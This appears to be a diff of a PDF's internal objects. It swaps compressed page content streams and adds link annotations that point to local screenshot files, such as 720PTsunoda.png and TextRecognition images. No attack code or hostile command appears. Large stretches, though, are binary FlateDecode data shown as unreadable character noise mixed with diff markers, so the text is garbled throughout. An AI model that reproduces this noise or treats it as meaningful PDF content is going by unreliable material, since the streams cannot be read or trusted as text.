-/Length 2796 ->> -stream -xێ_< @`M1iR}{f-=HEJ=A: m*I%*᜷/),I+f?|}=֓QsUN(%5 ÿa ٣RZ R8 -+1ç%jg#G_=D_腧L1ٰg?}h{ xHcmTdcjaeF7L8,"/?{TfF\!PH!p?RSuSFH2N -]̉>8!mwktaCO -޸%W>Ȯ20sXpro8U4Za|a8mEΐ@baʻ{Zk aБPKQ!7pZ =}8-)n9.ae7!d1@!e$g008pSDl\{EnwK@*k2;a) $Džѯ'v^[smb3iRPʻà7F6kFN%͏g*J.7߂h޴҃2g"Ƹr -yeMR{t; ^;*m -ʠ"g '\ s@_WeZ7V=keBa>3{s. {ā`8t.ٓtFkT䴤*æ G$ns ;-S`Ne+Y١T_'gDnq=ep&mh'ݑtDIf ֜cEZrXƏd=B-qV:Ꭰ6#32gj,QFof#]>"E٪=9%Mj3s#0\Vnn4(5nTRt4**?"dSΑ=':Q@ ۓu+UO:}?x#n]vDa٬SH8 'wI5圽RhAD m4VqէZ"nvG`ZPnfKeڙ')*Ĵ5zqnY/ ^jlrB݈Z0H/͏&.)L|%Ĩ%ͪ ivd~҃sNڂ(zϥoQ&drnH_=W묺j'^hia{a92gsF>vc vbz{34N8gãTS;vh$^UGR\İ$$ -fմNXmCTQs_U j V͛{;eXym |η&}UriYb0 2q - orl'%֓c[#w -GBqZ9goK\sǞ"RQ1HcA^pwTD ccP4+?8>wި+kfD2RZuCfRkbMM, M'z\a]s+r$B]6}x9 ru qqZqj1#lFPF̞h<n~X:{㤰* =fkRn]iSМۯF.s2]FD\Ոao-?q/7',nP?nX~x e]2[{PESxo~yW -ʛz;:lyϟ^@Ee٢}铲OK I)t\nwj]x%5W3aJ -HL.PS#_/X@pln@H.#fΧPhbO62Mɭ+ῷRa -endstream -endobj -923 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 922 0 R +/Contents 921 0 R /Resources 4 0 R +/Annots [ 923 0 R 924 0 R 925 0 R 926 0 R 927 0 R 928 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +923 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 659.238914 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/720PTsunoda.png) +>> +>> +endobj 924 0 obj << -/Filter /FlateDecode -/Length 759 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 659.238914 297.637795 644.224514 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/720PTsunoda.png) +>> >> -stream -xVn1 +(i{H.@у=sI -$O[sN|f#Po{;0&$0Sg~D.R?Αj<ԑ}sR׸-6^*snUh10M^^ϼu"C#dѪ9j]ee2 s;C"5y5lHN> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/1080PTsunoda.png) +>> >> endobj 926 0 obj << -/Filter /FlateDecode -/Length 2321 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 576.659714 555.889134 466.895272 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/1080PTsunoda.png) +>> >> -stream -x]$}~<"J%@C6C܍_|?=-vf/٣oUo Z ?Ox|rЊ4b`1"#W4,ۧÏ_q>Xk|@T6cχ_@Ͽhcd-5 -6!S5jƥyJWf52\;$k!M5XXxY^V%N|NZ /qYeݟNUT{M؃'94{|`bӈhZcǾl`AsNsntHmfiv>4O"Ys˯E<%Lڲh⤈KV[i ߴZQ4R+92VDT:W^*r_VڄMb"*pƌۥ6' )+3нXK2_6X Eȏlv:޾.Z!;+%#2z[9/ԓ9VbL|ۣ'I+h#:h!~N}q5чqO>iNۭ8 -Sv /@ -"s}~;6pcD!]oG"gBT #7/yLlї6R)5 f{vN}7dR5;9.9y"2QvÈԆ &P;E`|Qڕ|Z8#FNr(w\3×l|j/n$T4Ȇ^\`$Y^(s<.%r}dV2 0e>@?Д"+xlYkxNFz6 hd3끝B7Vܡ(ft8S&'>E&pB0ȗ. o7 -Q&H ;$䙚̰Yq1)m9f38=%5Dil˓,H± -I+bUD-ytqi3 }"\6U~?^alb`p>&B0(9̆kCvFD Zڶ_E:677(N}E|;[raȡB -#̙M)pOȷimoȢϭb>88,*`fXOҭ\qIQ4eDTkp҉Q1PaxNX |N<^֮X@m.otY#7NCiE cGE4WndrrT3n%U5ڗ@̖XZpT`>a -7q6G[WlJ {8:^1Ȏ=_ɔxSkw_Rwίdix=١rvYD=FMiatOBUg/Ui|A&t^X)~fqLWH}7{DzxͰp; *in*s_bww&(-,C^E-qe;'R ځQ%?.>ZWb*wTimд -S=mSPٌ+o$ -WE٨]y6]A:8^}n9gIMy`ˡ!|FUڌb]Yy gWVw}: ^v@]}+J*Jҡ.^e\S)zU@g[Ɩ{ZY śۗօ] QrWā$gR$BejK=t >ޅ\! b|zn,bo4>ŧ>qbl񾡽x^ -endstream endobj 927 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 926 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 466.895272 297.637795 451.880872 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/1080PTsunoda.png) +>> >> endobj 928 0 obj << -/Filter /FlateDecode -/Length 3304 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 359.917672 39.386457 344.903272 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition3.png) +>> >> -stream -x\ݫ+?U}BHZhMR`ܓJZV]i嵓Jem}o4# Y댖ۏ/?pfC??a)0$ -NFX&LIDnN?z/q ƚL --)/yyMSRN¿uE:T\LQE1ŋQ>,gNuH_!~ջhY4xIo9lNR*O w?|8 ^saY1n :O)\:ΪQ}\?OWj32JâV5|mըYF'wDhkgw4pmk]ϺMőMmA }dwiR`CӞ n+&;{^Q-~k?\Rd@vh kQK$H*Z;byYq=|bd Z&OHsO;v:.ѡ]6:w `!a1_[m|X$)p& 4@YlHaq)\E28> -me6@l1mnW*JQv(yۉ=z{t^o{ *0ɝ㾤yHg0^ViӼugNaѼ=́S8s-U -a-2ɝ`F;ɇ {'{K|'LQ)d E{_RC4 -KԅT1RUjUb[&6.*Ln<2mÜ= b̜*FYܧf:ُn|wf8ls2-C3%ܲvJv^ed -,P(d)NR =B'DZ 7L#!*!)x!Cmxx"zUҖduҜpj[;%L̻~k̖:`5%npF>&Z[f鿕$דѺt/g*uTi}mcZzWb%M8L ԎܔnSۜ9m{wXf@;srjeʫx7,\خtʝSȚ0obT"[Kb2ܿZu¯ۊct;d`㹹;th 㹷'(cV<#R.E|ՁB^ā6[6EGDf4Lp0 PIxCцUv<R=` -a1B&S9]f/$^72j+C-ɪsuz-T'aF1R߭KEKyZN ~OU 㹹օ+:꒤Ѽc}6.U8)\9&:*K3d}NHf-<$}-vBņGXmx;Mbф ;tۀroMF?s梚4Z;ft$3R27SyO^7a ֖KGA^ǃ;1%+|_"Ov6NK-jW!A= +*0GoλjC@Ȍ:LJ0SCxndDrHHS].}j8:=]=A@u> +stream +xVˮ6 +UH ̢HH 0E ]xb br= x<+G^A=!B|ӻ38z5ÒZ,  tC}ʐlE`΅=q!smn5FۂmlTyy NNza`dd]mq9t 8hv<$ԭ$np ͛!I#9qJ|+8wHX= +8B=Yy+dpZzc09u0wcG>icCDApcCϿY{.{CBcV\X>:;y?p5GSfhdK6mGM&rL }Ac +endstream endobj 930 0 obj << -/Filter /FlateDecode -/Length 2003 ->> -stream -xˎ6!9|=h!Ŷ P`\6?!EJ,ʴMvK#>͙oss?}}ށ=F7{nw -IZZhE'A**%H+vy]o:GRz(}~{s@μPT4Aj^C,/vੜ(/Yғ -RHIiG(&b8v,v Q0蕁6zy1Kߒ<h |$ӎA( HP>0;rL F`i~ -N;w?Q5}@ܨk<5ձg:?=z7<0.D-## ӳCwԇs,8/Sif$]_u)S |u(ݏM<ߏ<%;"*[sOZ0Ao*`V፷hEs6t -c6s gnZq[&'#״Y0*I%ȮC_r /Vͭr쵒Ip]3Аht{ [izW6\'ԒdKܢ S<`y#ח|7l $yrH `(ўt-Hח}u:H9 ]_6{ \'vBRw岭%uwN-\Z_J{iX./ILka;h[{թ:Ëj}yUX7HjUJU -endstream -endobj -931 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 930 0 R +/Contents 929 0 R /Resources 4 0 R +/Annots [ 931 0 R 932 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +931 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 293.426341 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition3.png) +>> +>> +endobj 932 0 obj << -/Filter /FlateDecode -/Length 3042 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 293.426341 297.637795 278.411941 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition3.png) +>> >> -stream -x\݋$߿b )J%@l8's3w\RRKꞑF s#R}TR>(;-y}`/w -{| Ȱ;^p`AkeZ *>ǻ9X`Akctpb }~ ei܏D\|%bR*+!(&չHwHN 6Uca585\&ws*V l?|N"hFÇw_oIa?)='P6LWsOjЪQxÇ >{7Fm \|lޣ[5HM -͚dXİ?~|IȄ`'%gUc&]'uVNok%@DMS$6RUV| e[JW}/SZu̟lذ"O lɕ{KaS_ތ.(0Z#0nyoV[)9EY_=H3Z+P Mo(h#bDto)'FO\G=\NRvd -\y0^)9kʿk9xf8K7q.0d5tMh [Xa\&.rMXәsEs"2YJ /c%uq>^;m8ə8ÆI^lk4d([S䠬 Z. "1*l\kWQ́B$vћ6#zsPFKl٬ -b_Bicd4y$3`e:8U^_c.} J+>NW0cXa)3o.+ V>hf̘%H9\e|m*~s7/JLPMV "CC*yݣ$YDݪ'j&+ƕߕ} -S>lqR )K6ĠXg6EXsP,#pa%U=A1Asc9VbVإ}[G+meux0y4iDGeObD%nel]gN<?ZsQ&4$7*dQ) f–wuٲ/3~ UT^fa6=؂ *`)3fSAM^E3RMk-Hoϋ 2y&Džv-`hܰn?sv̈L[+`AnV3>T`4+%V&ͣrC Ʃvg΀aX.e~k6rfdnـ^Yũ"N?o^!Qv:9r\~Ak `NXMDݑXA!@UA-ѴJ)ՠ]@us$R) X4%er'0UJcn|zX$^"T 0g%Ecs71Ԟրq; >?JF7Y%mÆu¸=!4z ;j$+SuRlOg^7ʛh.Th3)p_ em^$ܶoHTg-1;4k)Ր?Պ-M"}HNVs-*ͩA|:cnSLXIy\t)&JvlO8(\XYw]P/)n:gW@(8ܐjO #\Yeus N7M\pHJx^E^GuBћLxUcܟS~~kuQr4c{"(s4WW+t1VIjb>@8<Ӌ2fVlq1̡Lqg?L1% -*&I5^I%v__!oUR]n#zԧ.{m&c"mǓϼ46'Zѧ׭ǟ:ڶs 96Ǔϲ,8YZ!r7(MhxZP,/U*5%_G$ʉFREEH^)~QS?[^O%Ի5Ҭ>3;UzRyR:E-2d)Əoݟ!MkXRL 3zơhx > +stream +x\͎),vpC'Y aFًRdniIɻ@xޝ&٫ "@N'$'c}Wƻyk2޷ur-_4~~3YKv?Qh\um,tT^\iqg@Z>q-^ӡ\,gpeN譴Yj.T撒 E蔹$**YEmr(J* +MהIFDQiy3YK]TEOϷ5byIi5T)^!)tf뵅SelV\I+eT_]SfWH-<ө|v[).Ry.V%Nۙblebz߲8q4M 5eigK$oXU5FCxа_Nc1:˟OH//{LV*LcQnʭ/::e:,u-:Y3HKWmpB.>9'erL;_n|WgRM:{+s6&`~Q+cK^7kiVBwڈ1CtoQ(p'S (ԏwAR5,K-0c(@2p2gqu !|q9Ƞ+0BE@s@y2 j>U8tG8 ^Dc{9lS986mRA#H2 ălymŮ& + #li* !#])9'O49O4#h` +H.MھVhjĵoˇH:Z"(u׮O4Lh+֌9rȕ+M oze޺ 6- lC(ZS:;$C> ٻȗ4 8`sWW$j^LQcɵ2?ﺧ_G6Ti&-eWtF[9+$ЖkoVj6#⻱gd"WFr|C<{3֫ОZf4-miٵG.W{[2V/Ԛ;yFr8P}ΣCjY@b{jSE`cHt +L0)MIs[o Fіn-ue1r] 39S/]րf'1U3x4vݓ13lJUI9+-\%^-:Vq%y;餴6[t>>3%v=ݶ+zAFN]+YS$}]lGPBa;Q-S;@]@0"s~=@#wDajaZ5C()&-7GD1Pނ;@_T/З }w(zT:MC 1\J>נ--Bra{K +Q \mndwzGbz#D9}`!A%Dwq,ȖM0fV<;M(-Go0 +S4-J6-B0X?z)A#7Aj`mrshk?:m<3ȾQ۞ȥd4rsRtrNQ$Gq aHΣ{EPgA=b7P +6]|*=EZ0֧1菱j#x:dmk˖,L*mpP#ao. FrXjGvm!ƮvavWߺ؝,/oTL^rMt)rp/CZ+#y]NHk`z{Ծ~gcdxerҝpIgW;v>losӫ+U1=Ihq]5PBҸ\>?vXJ:lԴa,T=?=B0,ȡ6Ze|{,bG2li9ݓg5ܟr?8}$¤3}ޤϖzl!.i$ C]{'#!pP/ cۈoV\0Kx5:=[{{e$,/;޿jUv=3gʭNJ5$o8?hQٳ"a)((~\:-gO|h݋y+W~Gpyyy 9 ^Hry?Z_@e㊐ZbH9 +ku!%99?]arI{;h&gjk$)K9>AuιNrP +Y88sɤkXLZD / 1veK#;O}b48/ǣZnZ~Ez~p [dܾsb@2n'iԍ + V[О{\x}w"Cl<Kа5o1d't͆ʳv3~!4gqӠuyf+3RA!}ǸOL̔,Dz.%"W 9tңkJ/ }>/ݕԅH(5Nruo+ 1?L5 +endstream endobj 934 0 obj << -/Filter /FlateDecode -/Length 2467 ->> -stream -xۮ_,@`>^"<@:H%ZeIrWkKȹpfl+y ?oΚ/;g'r#.vv чCJ\$6D}k]|n509}|ݫ,-U^弼G ظBa#m+*Yi3{}6?ﰰ=hmJjPyͷϿw7^AKO Q "[,6>&NJ}׭\szi~SwZedIkcNZ[u踾pȻsLQ>ch ->\%dcS&rN<1NVsF԰V?u09MƷأ%cx.YF?`T\yvg^{4C\Q$kcI/9fňϩsrOg'ls;y ۧkF{07˱csud|pC00êeb(nf[qM@Z[ {Ҡx9ʖHgK2zV27{8z>$tU+nW D6/z0ye>]׬ Z(T{_]l^ȦIMWm20[@%eG8~l3A[ ZjcA.c۪fKǖ%Bc^l(I+/׽olAvI+Y{̜--C@kf՗ғn+:ǖK&S)(̕{h[w.\ٯO5!Ml.+JwEKl7'df.hy -!=+B@] ̻<5~ޕٕ Brz8|83VRA&Z>'bC19 ẗtRijr98.uSvG JJ KY Dw ƃrJ?-T:?O$vF$X΄]ogk1WlM7ZJxB0 -39~Y50XY܏"6LDc#(?7%CWusdJ6SI8>ݷgP8~cO^ 圇`}3*@sNT[hEEQ `Cv)B _yGsо7)|+Y/ -endstream -endobj -935 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 934 0 R +/Contents 933 0 R /Resources 4 0 R +/Annots [ 935 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +935 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 320.150574 39.386457 305.136174 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition4.png) +>> +>> +endobj 936 0 obj << /Filter /FlateDecode -/Length 2358 +/Length 791 >> stream -x\[~,!@`>ض>=S$@)QE˲,'-~ƣ᷃JGiȁ ={$7 r>z] pJ9Zcc<ƿ>|sBPǟw8BR\W W3$ҦZAr/\cA#:2v1{GEAkd TV/o~㇣r|Q,ꡥRlyikȫW4~!@"AkM\Xa^U=+1!_yk]uS|]qю2j͟eƱ}2M=ʲ`ʴ_-*&ͣ)8(הuzv^AάUl~eY}a(8$^s.]u餱`\Y=붵aJ8Keu6SyWzx*|nkedSEwGz n[%!QFI@{Ƞn{1gqLQ"׿:Z/ Ӽ@Yb&TūPΙb~X4agm -Kzg缴 !^glЄŁ'sӊh1Xϙ:a?,c̚P-=`5R4H4x'L0dbSɮY4,uSM1ئ籊I>/C_v9M%Xq([,r4W^#vcFr=o^tjq6]\? R" /S}CKW0~\To d -Ao53ϋbf#{Өo C8^=ݏO#52Gern2Q<:dom/V|Ċ(`PF|ܦ"OCHGds/-K[  `au -]}VBN6IVb8a [Eo*Nu@og1֎m~'n iPɗ); [4σtKDt۠͢~&[*5wmȫ"3AxƁ)$ ->/^ރ ^rts.yԊ9ohL`g8}t^\, 8D~5̯kUk^S)|NâP8m3SonqNw}/cr+t7:67q{E_}ҖwtI<ҚHNt]el XbaBUI._ -;V]˿ (k -SmunV>̿㏑[$`4_%9d8svZ"`hRYckg "Vߖ5xg~eY )Wu( z "O_9妄ϿmРye SJx! J<5cJ/ F7<=Q1级-u6RsGknJGE@vJDž#M܎i -\д]qBWZxi? <(~[)Je&0K۝1YL8?F8* j -GJV~}E59֟p '?Qr `s }%!=xg mvWxһ Y1vYWpd ٺ -e-3 ^2rȿҒ}@/U+%q#}Z{Ò} yK1zKJNN=80rs|2L__E;Oo>r;*҈$9` ';SrbFKCpm*y,yopUl *Lվ~ҐVpfwx0q<-Ʊ~OGIBҿ;<%I024}55OBDJ$</Q\Ot1L4rm-Ka@_/?d.2"{>}P×c.A +xVn0 )SEI% ȡvv)a4.v؆v)[NRljC-#?J \(Es1< :Db!<@ +zJDs\ A b y> Cէ,9G UL=Xg#;\-7V3)gHm ܜsMQ% cPb@7Rpڧrw/=%Kqchnw3J](eSٱO>rg5qᗰfvw ǰS h}~2!LX-y~#l2rc~B}'%u ?Y/&;u~yGJhT"U a[F9Jt.jpun>. &{b߁e ymqJQurJ#t+xıy!cHC/Bd8VE-ɖ*ɗ C|쮀ZRWQ5pSv\b+]ƃ[N^R}ZyxyV]Ŷ#`T 8T55_Ž:z鑖6p9#4߸DȻk9tҷ1P)t6rU_m)Wk т" e[`fz> A~gZEDM۾vӺ9nd|SGWA[kL-=$ o5c X:luG257-f[/* endstream endobj 937 0 obj @@ -13934,126 +13095,133 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 936 0 R /Resources 4 0 R +/Annots [ 938 0 R 939 0 R 940 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 938 0 obj << -/Filter /FlateDecode -/Length 2598 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 288.819951 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition4.png) +>> >> -stream -x\͎)e, , Y`6$ 9==mݼ?"%JhVw&Ɩ͟cUYxwZF~= `_l1__OI6gA[֝- -Ji{=SN ψR3B <~>}wAs_ϯځ &6HRZ3s}A"!?dMԡY+g :ɂZ9PxjJ?r_83iN+V󧏫J± Bx.d.)}KzPvhoUWEx4}%qҫmu12FPdw3]!үb/[iiANrm}H\=g'7#L;J1==o>mKt/FƗIy\L&-*>E?Nc^X|l8H0/E5z2x]& SA Qym󶡰ߝPYixkV*EcX]&TuaA8..n$u'j`:k []biux<'Wڪ"1*iÃYp'3WY.kBLM sEnQ: 3Z|'7,z{M|sm͊p>Bѥ뎠f;_&ӻMDvQ ߱úoK dK@X2-8e+[ttG|[D݅i]obv3BZ//rPTgFc*myh,dޒ;adH9U󦰼FPbdp$895KVY=BP&<ҷz@K] ֡mÒ<\R}@ϟ^W}İGnS%fd`V+?Fu@[u$# $+m? PF18g߉D:ZRVFdZ߫HG$`v#IAq(Lb<6G~[iPݶ3[уzbS41({0~=x5f !s?)΋1fM&jіlEtU9r)fZ5b1#G9alv6҈u$^'ǔ%ja2v@h{+`S%lk3S~Y1Gke@9c0e&P:v8֘ځÙ423Ciffy@d3LF%=d4,nD=U`b Т|4g:b61Ố HCCwD݆kf%LKwFH.qb ُj#ғ^r N{ve LP9YDoxB~P.;{ԡ6CMpt(v^UJHk0t?J@cxѠd?}_ru#C%UW =oHgbYA{è̈́ YqWTQѦu.Yr:;lIlf$L -`'_a;FIvpu?c?6c? hxlì- -P~量2Z +8|\aCYfJnoWq8?r`9X M ځa?oeL &r@bUqqE:"ցo$2ߡ?iG*t҂r>x׬}S -(Dw>DL.sq}I;'$o8TYb9%iYqGc=/ )C/#j7b,y+UE@mA9G ݎ }/^ZHgεW_!-&|0f"ح _//K"x _:o|pd0[%M-gYU3?> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition4.png) +>> >> endobj 940 0 obj << -/Filter /FlateDecode -/Length 2425 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 166.827951 39.386457 151.813551 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition5.png) +>> >> -stream -x\K6Wl⫀ 0}@آDڴ,-M$ñ%QbZxT'A3󏇟 -U3Ը'ylwG6`BG&I)g5Xdl^eqa`;!x&uxen*G蝕n7#;HM|N@kd TV󏇯 rXZWl2gD|INrrmӎ}Oc;>b烺"WJXJ8>MK5a]׼˧pPDcs,?~4 $";rAv>-PL܋H HٱnD65 -=֍Sm@WeLId45V'r*EEeje=I&Г*Ra|'U@LcaG}KOcop+ ިur&b%Q/Z)Y+~[vNRZ5ەڬIfA}-uVqYؤ̸<8+> ,jf+-O)yOqP:&," ژ4,@Up%~Fs0+tpTY3W kMFD8nʥ4N:sl~P[HMs0 Ҳ\5WIu͆`I V+aXF ú /Y>l]9L>X.٢6"[TcF-b2j6Xf6io5]}ݩf;ȍZWͅ8ڱlY IUJ_ɻ솲 M?5RO dŗHG6q =WofN+π@pG]eբD:k O0v :-6jjStT܇3F:ڠC=,sDY4Ss-a7}7 n< -uk cv]Mr~˕H}JqDZr,z]t\ \^@y"Inb3P KC{'x33|#7sd髺LLh B{>ƽύ},`F9Zx^j;'1Ik6Zs!UsR+Y^ 9 v=TIchYڃOr>0\0S{FҎ}0citֵ73պ8Z)hLQ -[2K,]暮z :jneq{]d b?@nZeA{aF7 A (hrn 5?RLoK&fxH3m 8?f0k@5neu Q-a`$ ݛs2 &DNii2@H`Ɖ⚀hi&f$M}+&r~kn LS~Uyyq=G<{ [특qrCeFa9Jp%mžĖI6ѐ¹@CΙ %L) g5oT{(l̎258V]:#q{raŋw^ctdzL4镢EoY i͢^sZ?X##W!}grb7z RUvQ&T_+擓^T_P5FgP e;FPzKr|*}SW4vѣʞ{l:gXd4G*|=4>V:س NE* !?ۓ,!gSNe-kfgIB#?,C^7 =~z^TJh+he_JTMYuqxsmWیm[ Ȉ@%T_]"KTfgFܮ^rIk518~[- jD%;y*֕-+wt+ubq=eu"N*ΞIo(jb(~b'gŌbX"=*=>;0ӵhݱrb i݊U`ڱ/P5-(E[z:@Y ӗKvkXƻ/K/%G> +stream +xUM0 W8vVa ]qpYUI=;4+ hE`o *;&>gˉG "(0Eu{K{`t?}Oٞ 9KPށ&OՌi@5~S6El4zgu +=(h~gX Ete; =:aV9? +*V!V*Sâ A0'n f.~ڦs\ڥ,ք "O9x RߚtnkCr D ,$t; \k`^sʠtm8vϰ96VembEO1⟉\C =A {B4l'~@fU%Ra.5о%!> F0%>.EGu۰]g⚰7r6{SKGb0vF$/m\bREtLxؑuQeLvFcSw> -stream -x[_o6 Oq_`,)}趇 `CrIhQ|Ία[R56mK$E2Q!/8x?|}!;NN埵}Yl -@*Z`g-߻D (ADSO_>^?.B vt LfDxN<;kO;NSz*uTz1<0pᢄ>^˲ ݘӏk!z%Bg)99; CP#cqw?۽vVWcm"C Fq-wmvAv)(5]:[ f 5 -@fPP<#1Q<73ʚfFUA# N W3`YlLMԠ<_^B<*nmƻ6k J#3|^|Of;B3-&(E䅖B<|0} rQ\A_qd2'^TyaibDnvLKєmـ.H$6J'&9 R%G'o>)TجMYA3Šbe^M0F&5l- <Ïqŕ$." -8rcU—ϛ Z^*B /Os3YbVWAY3QiV 8 ޝd y(L3jFk5!N6ifU׸3Ev>@!X88I+7{!qnC&g7E#b}>S9tE76]UwpXW5C}ǚ`*Vvxfpv'"dH9ݟ^+'v}i;Wjv( -Wj]EwO]T.vSE=aiNJEzi #BBU*38beu<ˋ!-(AyfZx5y|\zY#//Ռ3D.Mh߮оm j5޴WܮքDlX b U`c{m U>u22Ƹ4gi/l\z,ŶgAxw(^[ Kq%΁ڋ:kK2fNޕق`ork zҎ^ ZݼtCo8LPrAXyM7"h򧂚{HkgsΤp8 -"̟ÏnQ60AԮ?z!i/2 6K=Ϫa>ȑi,)3:/!\A9}Z7hAuLdN =c%ǖdHfJa&g? Bp -endstream -endobj -943 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 942 0 R +/Contents 941 0 R /Resources 4 0 R +/Annots [ 943 0 R 944 0 R 945 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +943 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 296.507614 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition5.png) +>> +>> +endobj 944 0 obj << -/Filter /FlateDecode -/Length 2343 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 296.507614 297.637795 281.493214 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition5.png) +>> >> -stream -x[_o呜 ,@iK^?!EJbҔ)PgIP2G-1GxrzЊI+8@1BG6^-H#"|_x=P5{>c"8߯}0JEz$2hk(3kYf9j6HwH $WlZ9=Ȳ|9cwsjJ$"?8iL3߿Ik) A8^c =*=T֣>(V/(DצP#{z^XJu]XFfKh哌BL,`,j`S`ڙEȥ5Jbi%J2X|;״=t6?AXO)h}]L;g.Yw:v-heaG0i'8HLsgڋP+M@p?z9ZiS<xO=A+?iGb\Iy^٪@ږлzrcc>,NC_+^?Ma\EwqboBP:3L N[t7cnV;.D}8l_t[ֻǡ H&CK >fA 1q^ %nXMs}sFS%|AJͅ V^B&OInhK ?~(ž9d *0(-5{r%h -?q2 I,2< 20H] -*G]|Q*y30 YEw㘙aE}&NKD˖ 9;K> IW yZ8Zbj 뼒(cZ تehܫK]s̘żSk - 5_hbp mg2E=cfBǵs1傄|tLCyY ; 4y2*Rq~73{Eg r_'}Aϙ0[CAVk2}DqJ-L#3kp+H/o1JJyIUil* -=AVݶb"lvK'_6(Ha(9bP3ZLXgʹs5w3E/`suXB(u.V -華視ت> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition6.png) +>> >> endobj 946 0 obj << /Filter /FlateDecode -/Length 2109 +/Length 1072 >> stream -x[n$7S D%Q$ 09$lgSH@(]]եe=5I$?R(~0B1~?qOK<tL`#뼞`O;I!kAȘc`Ug#BL=iz>\@YG![dv9sj`լǏ÷?~͑uX=~yY>~>YA5N="5LעOϱM0{~곊'8=u>㇫00"JЁn¨n7h9ƓAwŢ%z8KEzاAj4E`Q^A?'/fy1Ė3_gri?VUSc$aCω*,hy.9_ȓ'6H?kر^UR 2B)Ѧ&H%֤Qwh4E)/&UӤsu <×)ͨu t<}oއM쫋K®!ԁ>6ɰ#թ4ĢpBQ4sT;_9+P8S'Gj1=r~YM㰳f,[zytP_󞢤 RD@h~|h|~o(؋A䌠<$OBtE xQ#r([~3r5 r l# B+i 3X7ANӾX2{Qquik |BI۾xֶɖQgE]hAjcIe(ʠoнulNۖ`Q&ge=+K 4;|#]raJ%"ZV6fy=):_r"KW۴{  ШX|F+cT`64r ɺq2Wkrfū[US)w\ -u|PB+ EdPCrUq[}Vi7[y0y_Gm" (I^kh$g]:&1W$-HTYWlg%-)!DjPGO}Ja-s>%2<7ċQGJ1 -[`ڵSǬ*: 8_tr@eXR#TOQ*޳Lb\߿,d^=;{*4&,P +xW͎6 )QDI%`1"!%-P",cgAx#Ǐ?`y/8P!Dn?5y=?K"ctʅ!AhcyZZM㗧Ӑ)ZEZS}ax= SIdgԇ(d0 fgtCR/~4iRMA;O3=ݦ ъ}eo~V,̸^6U:h;^oFHhM" >5^ 7G)~ ȫ9`f~H 몐2ڐ S)Z+QV*(]Lb~.7RŖAtQUKR $3'MsrW(vr-]:X$=l03X35dlw=- 3J0t\k/߻{;vzDB}%Ijmpv(hv]ewH/ M,X+taş嗢k٨f#0uo,\+Cb۾Af`PƾL7=lͿD8JMeIΝ={]­8΃4Gb<,YG}I +WIOO$ﲭ1B>445.ߢ' +~9yJ0%E mKThQ&\=M$\p X¦+P=Ɛ. _^..H0L,tV1s;rw?,a endstream endobj 947 0 obj @@ -14063,46 +13231,53 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 946 0 R /Resources 4 0 R +/Annots [ 948 0 R 949 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 948 0 obj << -/Filter /FlateDecode -/Length 2182 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 290.072428 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition6.png) +>> >> -stream -x\͎)e, !@$9l0=mݼ?DjEQj3{8mIYDF_1 - !Ĥ4A`O$?cN3}s㟴XզiH݄^"kp.mҽ&KU{Yq,0e"ImF┓剂 